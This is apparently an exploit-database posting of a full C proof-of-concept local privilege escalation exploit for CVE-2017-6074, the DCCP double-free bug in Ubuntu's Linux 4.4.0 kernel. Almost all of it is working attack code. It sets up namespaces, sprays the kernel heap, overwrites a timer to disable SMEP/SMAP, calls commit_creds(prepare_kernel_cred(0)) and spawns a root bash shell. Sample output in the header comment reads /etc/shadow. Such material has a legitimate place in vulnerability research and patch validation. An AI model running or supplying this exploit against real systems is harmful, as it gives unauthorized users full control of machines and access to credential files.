Linux Kernel 4.4.0 Ubuntu - DCCP Double-Free Privilege Escalation

Posted on 30 November -0001
<HTML><HEAD><TITLE>Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>//
// EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471
//
// A proof-of-concept local root exploit for CVE-2017-6074.
// Includes a semireliable SMAP/SMEP bypass.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Usage:
// $ gcc poc.c -o pwn
// $ ./pwn
// [.] namespace sandbox setup successfully
// [.] disabling SMEP & SMAP
// [.] scheduling 0xffffffff81064550(0x406e0)
// [.] waiting for the timer to execute
// [.] done
// [.] SMEP & SMAP should be off now
// [.] getting root
// [.] executing 0x402043
// [.] done
// [.] should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// [!] don't kill the exploit binary, the kernel will crash
// # cat /etc/shadow
// ...
// daemon:*:17149:0:99999:7:::
// bin:*:17149:0:99999:7:::
// sys:*:17149:0:99999:7:::
// sync:*:17149:0:99999:7:::
// games:*:17149:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
 
#define _GNU_SOURCE
 
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
#include <sched.h>
 
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
 
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/if_ether.h>
 
#define SMEP_SMAP_BYPASS    1
 
// Needed for local root.
#define COMMIT_CREDS        0xffffffff810a2840L
#define PREPARE_KERNEL_CRED 0xffffffff810a2c30L
#define SHINFO_OFFSET       1728
 
// Needed for SMEP_SMAP_BYPASS.
#define NATIVE_WRITE_CR4    0xffffffff81064550ul
#define CR4_DESIRED_VALUE   0x406e0ul
#define TIMER_OFFSET        (728 + 48 + 104)
 
#define KMALLOC_PAD 128
#define KMALLOC_WARM 32
#define CATCH_FIRST 6
#define CATCH_AGAIN 16
#define CATCH_AGAIN_SMALL 64
 
// Port is incremented on each use.
static int port = 11000;
 
void debug(const char *msg) {
/*
    char buffer[32];
    snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg
", msg);
    system(buffer);
*/
}
 
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
 
struct ubuf_info {
    uint64_t callback;      // void (*callback)(struct ubuf_info *, bool)
    uint64_t ctx;           // void *
    uint64_t desc;          // unsigned long
};
 
struct skb_shared_info {
    uint8_t  nr_frags;      // unsigned char
    uint8_t  tx_flags;      // __u8
    uint16_t gso_size;      // unsigned short
    uint16_t gso_segs;      // unsigned short
    uint16_t gso_type;      // unsigned short
    uint64_t frag_list;     // struct sk_buff *
    uint64_t hwtstamps;     // struct skb_shared_hwtstamps
    uint32_t tskey;         // u32
    uint32_t ip6_frag_id;       // __be32
    uint32_t dataref;       // atomic_t
    uint64_t destructor_arg;    // void *
    uint8_t  frags[16][17];     // skb_frag_t frags[MAX_SKB_FRAGS];
};
 
struct ubuf_info ui;
 
void init_skb_buffer(char* buffer, void *func) {
    memset(&buffer[0], 0, 2048);
 
    struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET];
 
    ssi->tx_flags = 0xff;
    ssi->destructor_arg = (uint64_t)&ui;
    ssi->nr_frags = 0;
    ssi->frag_list = 0;
 
    ui.callback = (unsigned long)func;
}
 
struct timer_list {
    void        *next;
    void        *prev;
    unsigned long   expires;
    void        (*function)(unsigned long);
    unsigned long   data;
    unsigned int    flags;
    int     slack;
};
 
void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
    memset(&buffer[0], 0, 2048);
 
    struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];
 
    timer->next = 0;
    timer->prev = 0;
    timer->expires = 4294943360;
    timer->function = func;
    timer->data = arg;
    timer->flags = 1;
    timer->slack = -1;
}
 
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
 
struct dccp_handle {
    struct sockaddr_in6 sa;
    int s1;
    int s2;
};
 
void dccp_init(struct dccp_handle *handle, int port) {
    handle->sa.sin6_family = AF_INET6;
    handle->sa.sin6_port = htons(port);
    inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
    handle->sa.sin6_flowinfo = 0;
    handle->sa.sin6_scope_id = 0;
 
    handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    if (handle->s1 == -1) {
        perror("socket(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
 
    int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
    if (rv != 0) {
        perror("bind()");
        exit(EXIT_FAILURE);
    }
 
    rv = listen(handle->s1, 0x9);
    if (rv != 0) {
        perror("listen()");
        exit(EXIT_FAILURE);
    }
 
    int optval = 8;
    rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,
            &optval, sizeof(optval));
    if (rv != 0) {
        perror("setsockopt(IPV6_RECVPKTINFO)");
        exit(EXIT_FAILURE);
    }
 
    handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    if (handle->s1 == -1) {
        perror("socket(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
}
 
void dccp_kmalloc_kfree(struct dccp_handle *handle) {
    int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
    if (rv != 0) {
        perror("connect(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
}
 
void dccp_kfree_again(struct dccp_handle *handle) {
    int rv = shutdown(handle->s1, SHUT_RDWR);
    if (rv != 0) {
        perror("shutdown(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
}
 
void dccp_destroy(struct dccp_handle *handle) {
    close(handle->s1);
    close(handle->s2);
}
 
// * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *
 
struct udp_fifo_handle {
    int fds[2];
};
 
void udp_fifo_init(struct udp_fifo_handle* handle) {
    int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);
    if (rv != 0) {
        perror("socketpair()");
        exit(EXIT_FAILURE);
    }
}
 
void udp_fifo_destroy(struct udp_fifo_handle* handle) {
    close(handle->fds[0]);
    close(handle->fds[1]);
}
 
void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {
    int rv = send(handle->fds[0], buffer, 1536, 0);
    if (rv != 1536) {
        perror("send()");
        exit(EXIT_FAILURE);
    }
}
 
void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) {
    char buffer[128];
    int rv = send(handle->fds[0], &buffer[0], 128, 0);
    if (rv != 128) {
        perror("send()");
        exit(EXIT_FAILURE);
    }
}
 
void udp_fifo_kfree(struct udp_fifo_handle* handle) {
    char buffer[2048];
    int rv = recv(handle->fds[1], &buffer[0], 1536, 0);
    if (rv != 1536) {
        perror("recv()");
        exit(EXIT_FAILURE);
    }
}
 
int timer_kmalloc() {
    int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    if (s == -1) {
        perror("socket(SOCK_DGRAM)");
        exit(EXIT_FAILURE);
    }
    return s;
}
 
#define CONF_RING_FRAMES 1
void timer_schedule(int handle, int timeout) {
    int optval = TPACKET_V3;
    int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,
            &optval, sizeof(optval));
    if (rv != 0) {
        perror("setsockopt(PACKET_VERSION)");
        exit(EXIT_FAILURE);
    }
    struct tpacket_req3 tp;
    memset(&tp, 0, sizeof(tp));
    tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
    tp.tp_block_nr = 1;
    tp.tp_frame_size = getpagesize();
    tp.tp_frame_nr = CONF_RING_FRAMES;
    tp.tp_retire_blk_tov = timeout;
    rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,
            (void *)&tp, sizeof(tp));
    if (rv != 0) {
        perror("setsockopt(PACKET_RX_RING)");
        exit(EXIT_FAILURE);
    }
}
 
void socket_sendmmsg(int sock, char *buffer) {
    struct mmsghdr msg[1];
 
    msg[0].msg_hdr.msg_iovlen = 0;
 
    // Buffer to kmalloc.
    msg[0].msg_hdr.msg_control = &buffer[0];
    msg[0].msg_hdr.msg_controllen = 2048;
 
    // Make sendmmsg exit easy with EINVAL.
    msg[0].msg_hdr.msg_name = "root";
    msg[0].msg_hdr.msg_namelen = 1;
 
    int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
    if (rv == -1 && errno != EINVAL) {
        perror("[-] sendmmsg()");
        exit(EXIT_FAILURE);
    }
}
 
void sendmmsg_kmalloc_kfree(int port, char *buffer) {
    int sock[2];
 
    int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);
    if (rv != 0) {
        perror("socketpair()");
        exit(EXIT_FAILURE);
    }
 
    socket_sendmmsg(sock[0], buffer);
 
    close(sock[0]);
}
 
// * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *
 
void dccp_connect_pad(struct dccp_handle *handle, int port) {
    handle->sa.sin6_family = AF_INET6;
    handle->sa.sin6_port = htons(port);
    inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
    handle->sa.sin6_flowinfo = 0;
    handle->sa.sin6_scope_id = 0;
 
    handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    if (handle->s1 == -1) {
        perror("socket(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
 
    int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
    if (rv != 0) {
        perror("bind()");
        exit(EXIT_FAILURE);
    }
 
    rv = listen(handle->s1, 0x9);
    if (rv != 0) {
        perror("listen()");
        exit(EXIT_FAILURE);
    }
 
    handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    if (handle->s1 == -1) {
        perror("socket(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
 
    rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
    if (rv != 0) {
        perror("connect(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
}
 
void dccp_kmalloc_pad() {
    int i;
    struct dccp_handle handle;
    for (i = 0; i < 4; i++) {
        dccp_connect_pad(&handle, port++);
    }
}
 
void timer_kmalloc_pad() {
    int i;
    for (i = 0; i < 4; i++) {
        socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    }
}
 
void udp_kmalloc_pad() {
    int i, j;
    char dummy[2048];
    struct udp_fifo_handle uh[16];
    for (i = 0; i < KMALLOC_PAD / 16; i++) {
        udp_fifo_init(&uh[i]);
        for (j = 0; j < 16; j++)
            udp_fifo_kmalloc(&uh[i], &dummy[0]);
    }
}
 
void kmalloc_pad() {
    debug("dccp kmalloc pad");
    dccp_kmalloc_pad();
    debug("timer kmalloc pad");
    timer_kmalloc_pad();
    debug("udp kmalloc pad");
    udp_kmalloc_pad();
}
 
void udp_kmalloc_warm() {
    int i, j;
    char dummy[2048];
    struct udp_fifo_handle uh[16];
    for (i = 0; i < KMALLOC_WARM / 16; i++) {
        udp_fifo_init(&uh[i]);
        for (j = 0; j < 16; j++)
            udp_fifo_kmalloc(&uh[i], &dummy[0]);
    }
    for (i = 0; i < KMALLOC_WARM / 16; i++) {
        for (j = 0; j < 16; j++)
            udp_fifo_kfree(&uh[i]);
    }
}
 
void kmalloc_warm() {
    udp_kmalloc_warm();
}
 
// * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *
 
// Executes func(arg) from interrupt context multiple times.
void kernel_exec_irq(void *func, unsigned long arg) {
    int i;
    struct dccp_handle dh;
    struct udp_fifo_handle uh1, uh2, uh3, uh4;
    char dummy[2048];
    char buffer[2048];
 
    printf("[.] scheduling %p(%p)
", func, (void *)arg);
 
    memset(&dummy[0], 0xc3, 2048);
    init_timer_buffer(&buffer[0], func, arg);
 
    udp_fifo_init(&uh1);
    udp_fifo_init(&uh2);
    udp_fifo_init(&uh3);
    udp_fifo_init(&uh4);
 
    debug("kmalloc pad");
    kmalloc_pad();
 
    debug("kmalloc warm");
    kmalloc_warm();
 
    debug("dccp init");
    dccp_init(&dh, port++);
 
    debug("dccp kmalloc kfree");
    dccp_kmalloc_kfree(&dh);
 
    debug("catch 1");
    for (i = 0; i < CATCH_FIRST; i++)
        udp_fifo_kmalloc(&uh1, &dummy[0]);
 
    debug("dccp kfree again");
    dccp_kfree_again(&dh);
 
    debug("catch 2");
    for (i = 0; i < CATCH_FIRST; i++)
        udp_fifo_kmalloc(&uh2, &dummy[0]);
 
    int timers[CATCH_FIRST];
    debug("catch 1 -> timer");
    for (i = 0; i < CATCH_FIRST; i++) {
        udp_fifo_kfree(&uh1);
        timers[i] = timer_kmalloc();
    }
 
    debug("catch 1 small");
    for (i = 0; i < CATCH_AGAIN_SMALL; i++)
        udp_fifo_kmalloc_small(&uh4);
 
    debug("schedule timers");
    for (i = 0; i < CATCH_FIRST; i++)
        timer_schedule(timers[i], 500);
 
    debug("catch 2 -> overwrite timers");
    for (i = 0; i < CATCH_FIRST; i++) {
        udp_fifo_kfree(&uh2);
        udp_fifo_kmalloc(&uh3, &buffer[0]);
    }
 
    debug("catch 2 small");
    for (i = 0; i < CATCH_AGAIN_SMALL; i++)
        udp_fifo_kmalloc_small(&uh4);
 
    printf("[.] waiting for the timer to execute
");
 
    debug("wait");
    sleep(1);
 
    printf("[.] done
");
}
 
void disable_smep_smap() {
    printf("[.] disabling SMEP & SMAP
");
    kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);
    printf("[.] SMEP & SMAP should be off now
");
}
 
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *
 
// Executes func() from process context.
void kernel_exec(void *func) {
    int i;
    struct dccp_handle dh;
    struct udp_fifo_handle uh1, uh2, uh3;
    char dummy[2048];
    char buffer[2048];
 
    printf("[.] executing %p
", func);
 
    memset(&dummy[0], 0, 2048);
    init_skb_buffer(&buffer[0], func);
 
    udp_fifo_init(&uh1);
    udp_fifo_init(&uh2);
    udp_fifo_init(&uh3);
 
    debug("kmalloc pad");
    kmalloc_pad();
 
    debug("kmalloc warm");
    kmalloc_warm();
 
    debug("dccp init");
    dccp_init(&dh, port++);
 
    debug("dccp kmalloc kfree");
    dccp_kmalloc_kfree(&dh);
 
    debug("catch 1");
    for (i = 0; i < CATCH_FIRST; i++)
        udp_fifo_kmalloc(&uh1, &dummy[0]);
 
    debug("dccp kfree again:");
    dccp_kfree_again(&dh);
 
    debug("catch 2");
    for (i = 0; i < CATCH_FIRST; i++)
        udp_fifo_kmalloc(&uh2, &dummy[0]);
 
    debug("catch 1 -> overwrite");
    for (i = 0; i < CATCH_FIRST; i++) {
        udp_fifo_kfree(&uh1);
        sendmmsg_kmalloc_kfree(port++, &buffer[0]);
    }
    debug("catch 2 -> free & trigger");
    for (i = 0; i < CATCH_FIRST; i++)
        udp_fifo_kfree(&uh2);
 
    debug("catch 1 & 2");
    for (i = 0; i < CATCH_AGAIN; i++)
        udp_fifo_kmalloc(&uh3, &dummy[0]);
 
    printf("[.] done
");
}
 
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
 
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
 
void get_root_payload(void) {
    commit_creds(prepare_kernel_cred(0));
}
 
void get_root() {
    printf("[.] getting root
");
    kernel_exec(&get_root_payload);
    printf("[.] should be root now
");
}
 
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
 
void exec_shell() {
    char *shell = "/bin/bash";
    char *args[] = {shell, "-i", NULL};
    execve(shell, args, NULL);
}
 
void fork_shell() {
    pid_t rv;
 
    rv = fork();
    if (rv == -1) {
        perror("fork()");
        exit(EXIT_FAILURE);
    }
 
    if (rv == 0) {
        exec_shell();
    }
}
 
bool is_root() {
    // We can't simple check uid, since we're running inside a namespace
    // with uid set to 0. Try opening /etc/shadow instead.
    int fd = open("/etc/shadow", O_RDONLY);
    if (fd == -1)
        return false;
    close(fd);
    return true;
}
 
void check_root() {
    printf("[.] checking if we got root
");
 
    if (!is_root()) {
        printf("[-] something went wrong =(
");
        printf("[!] don't kill the exploit binary, the kernel will crash
");
        return;
    }
 
    printf("[+] got r00t ^_^
");
    printf("[!] don't kill the exploit binary, the kernel will crash
");
 
    // Fork and exec instead of just doing the exec to avoid freeing
    // skbuffs and prevent crashes due to a allocator corruption.
    fork_shell();
}
 
static bool write_file(const char* file, const char* what, ...)
{
    char buf[1024];
    va_list args;
    va_start(args, what);
    vsnprintf(buf, sizeof(buf), what, args);
    va_end(args);
    buf[sizeof(buf) - 1] = 0;
    int len = strlen(buf);
 
    int fd = open(file, O_WRONLY | O_CLOEXEC);
    if (fd == -1)
        return false;
    if (write(fd, buf, len) != len) {
        close(fd);
        return false;
    }
    close(fd);
    return true;
}
 
void setup_sandbox() {
    int real_uid = getuid();
    int real_gid = getgid();
 
        if (unshare(CLONE_NEWUSER) != 0) {
        perror("unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }
 
        if (unshare(CLONE_NEWNET) != 0) {
        perror("unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }
 
    if (!write_file("/proc/self/setgroups", "deny")) {
        perror("write_file(/proc/self/set_groups)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/uid_map", "0 %d 1
", real_uid)){
        perror("write_file(/proc/self/uid_map)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/gid_map", "0 %d 1
", real_gid)) {
        perror("write_file(/proc/self/gid_map)");
        exit(EXIT_FAILURE);
    }
 
    cpu_set_t my_set;
    CPU_ZERO(&my_set);
    CPU_SET(0, &my_set);
    if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
        perror("sched_setaffinity()");
        exit(EXIT_FAILURE);
    }
 
    if (system("/sbin/ifconfig lo up") != 0) {
        perror("system(/sbin/ifconfig lo up)");
        exit(EXIT_FAILURE);
    }
 
    printf("[.] namespace sandbox setup successfully
");
}
 
int main() {
    setup_sandbox();
 
#if SMEP_SMAP_BYPASS
    disable_smep_smap();
#endif
 
    get_root();
 
    check_root();
 
    while (true) {
        sleep(100);
    }
 
    return 0;
}
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